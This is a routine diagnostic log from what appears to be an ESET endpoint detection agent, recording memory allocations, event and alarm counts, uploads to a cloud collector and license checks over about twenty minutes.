2026-03-04 05:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2552 KB; BaseEvent: 621 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; rules::ProcessConditionsCache: 403 KB; BatchSerializer::EventsQueueTag: 162 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67664 KB;
2026-03-04 05:56:38 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 05:52:25, To:, 2026-03-04 05:56:37, Duration (s):, 252, Events Per Second:, 16.245, Events:, 4108, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3381, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 2, Livegrid:, 2, OriginUrl:, 0, Alarms:, 722, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456354
2026-03-04 05:56:40 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s631ms.
2026-03-04 05:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1385 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 521 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; rules::ProcessConditionsCache: 396 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; BaseEvent: 55 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 65771 KB;
2026-03-04 05:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1747 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; rules::ProcessConditionsCache: 378 KB; BaseEvent: 231 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; BatchSerializer::EventsQueueTag: 60 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66353 KB;
2026-03-04 05:58:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 05:58:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 05:58:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 05:58:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 05:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 05:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2109 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; TcpIpConnectionsManager: 517 KB; BaseEvent: 411 KB; rules::ProcessConditionsCache: 372 KB; ModuleInfoCache: 109 KB; BatchSerializer::EventsQueueTag: 107 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66924 KB;
2026-03-04 05:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2474 KB; BaseEvent: 589 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; rules::ProcessConditionsCache: 365 KB; BatchSerializer::EventsQueueTag: 154 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67496 KB;
2026-03-04 06:00:42 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 05:56:37, To:, 2026-03-04 06:00:42, Duration (s):, 245, Events Per Second:, 16.844, Events:, 4127, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3411, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 4, Livegrid:, 4, OriginUrl:, 0, Alarms:, 707, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460305
2026-03-04 06:00:43 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s385ms.
2026-03-04 06:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1459 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; BaseEvent: 53 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; BatchSerializer::EventsQueueTag: 15 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; rules::ProcessConditionsCache: 5 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65457 KB;
2026-03-04 06:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1865 KB; ModuleMetadata: 582 KB; TcpIpConnectionsManager: 565 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; BaseEvent: 233 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; rules::ProcessConditionsCache: 82 KB; BatchSerializer::EventsQueueTag: 64 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 66222 KB;
2026-03-04 06:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2226 KB; ModuleMetadata: 582 KB; TcpIpConnectionsManager: 575 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; BaseEvent: 418 KB; BatchSerializer::EventsQueueTag: 113 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 21 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66754 KB;
2026-03-04 06:03:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 06:03:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 06:03:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 06:03:21 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 06:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 06:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2587 KB; BaseEvent: 598 KB; ModuleMetadata: 582 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; BatchSerializer::EventsQueueTag: 160 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; rules::ProcessConditionsCache: 7 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67329 KB;
2026-03-04 06:04:38 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 06:00:41, To:, 2026-03-04 06:04:38, Duration (s):, 237, Events Per Second:, 17.470, Events:, 4143, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3456, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 686, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 462053
2026-03-04 06:04:39 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s364ms.
2026-03-04 06:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1426 KB; ModuleMetadata: 582 KB; TcpIpConnectionsManager: 570 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; rules::ProcessConditionsCache: 406 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; BaseEvent: 48 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 65858 KB;
2026-03-04 06:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1787 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; rules::ProcessConditionsCache: 384 KB; BaseEvent: 226 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; BatchSerializer::EventsQueueTag: 59 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66367 KB;
2026-03-04 06:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2192 KB; ModuleMetadata: 582 KB; TcpIpConnectionsManager: 570 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 496 KB; BaseEvent: 412 KB; BatchSerializer::EventsQueueTag: 109 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; rules::ProcessConditionsCache: 41 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 16 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66717 KB;
2026-03-04 06:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2601 KB; TcpIpConnectionsManager: 613 KB; BaseEvent: 598 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 498 KB; BatchSerializer::EventsQueueTag: 160 KB; rules::ProcessConditionsCache: 113 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67478 KB;
2026-03-04 06:08:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 06:08:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 06:08:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 06:08:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 06:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 06:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:08:37 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 06:04:37, To:, 2026-03-04 06:08:37, Duration (s):, 240, Events Per Second:, 17.149, Events:, 4130, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3446, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 683, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459870
2026-03-04 06:08:40 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s681ms.
2026-03-04 06:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1474 KB; TcpIpConnectionsManager: 631 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 498 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; rules::ProcessConditionsCache: 87 KB; BaseEvent: 53 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 14 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65644 KB;
2026-03-04 06:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1880 KB; TcpIpConnectionsManager: 609 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 500 KB; BaseEvent: 275 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; rules::ProcessConditionsCache: 80 KB; BatchSerializer::EventsQueueTag: 75 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66317 KB;
2026-03-04 06:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2267 KB; TcpIpConnectionsManager: 586 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; BaseEvent: 461 KB; rules::ProcessConditionsCache: 144 KB; BatchSerializer::EventsQueueTag: 124 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66987 KB;
2026-03-04 06:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2629 KB; BaseEvent: 643 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; BatchSerializer::EventsQueueTag: 172 KB; rules::ProcessConditionsCache: 120 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67507 KB;
2026-03-04 06:12:21 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 06:08:37, To:, 2026-03-04 06:12:21, Duration (s):, 224, Events Per Second:, 17.924, Events:, 4031, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3259, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 60, Livegrid:, 60, OriginUrl:, 0, Alarms:, 651, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 446695
2026-03-04 06:12:23 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s365ms.
2026-03-04 06:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1514 KB; ModuleMetadata: 584 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 109 KB; rules::ProcessConditionsCache: 102 KB; BaseEvent: 96 KB; CacheEntry: 92 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 25 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65685 KB;
2026-03-04 06:13:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 06:13:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 06:13:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 06:13:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 06:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 06:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1874 KB; ModuleMetadata: 584 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; BaseEvent: 271 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; rules::ProcessConditionsCache: 85 KB; BatchSerializer::EventsQueueTag: 72 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66253 KB;
2026-03-04 06:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2235 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 537 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; BaseEvent: 464 KB; BatchSerializer::EventsQueueTag: 122 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; rules::ProcessConditionsCache: 68 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66825 KB;
2026-03-04 06:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2596 KB; BaseEvent: 639 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 497 KB; BatchSerializer::EventsQueueTag: 168 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; rules::ProcessConditionsCache: 52 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67373 KB;
2026-03-04 06:16:30 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 06:12:21, To:, 2026-03-04 06:16:29, Duration (s):, 248, Events Per Second:, 16.388, Events:, 4080, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3327, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 23, Livegrid:, 23, OriginUrl:, 0, Alarms:, 706, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 451429
2026-03-04 06:16:31 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s506ms.
2026-03-04 06:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1432 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 519 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 497 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; BaseEvent: 76 KB; rules::ProcessConditionsCache: 43 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 19 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65475 KB;
2026-03-04 06:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1806 KB; ModuleMetadata: 584 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 534 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 497 KB; BaseEvent: 258 KB; ModuleInfoCache: 109 KB; CacheEntry: 92 KB; BatchSerializer::EventsQueueTag: 68 KB; cloudutils::CloudData: 40 KB; rules::ProcessConditionsCache: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66084 KB;
2026-03-04 06:18:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 06:18:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 06:18:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 06:18:22 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 06:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 06:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
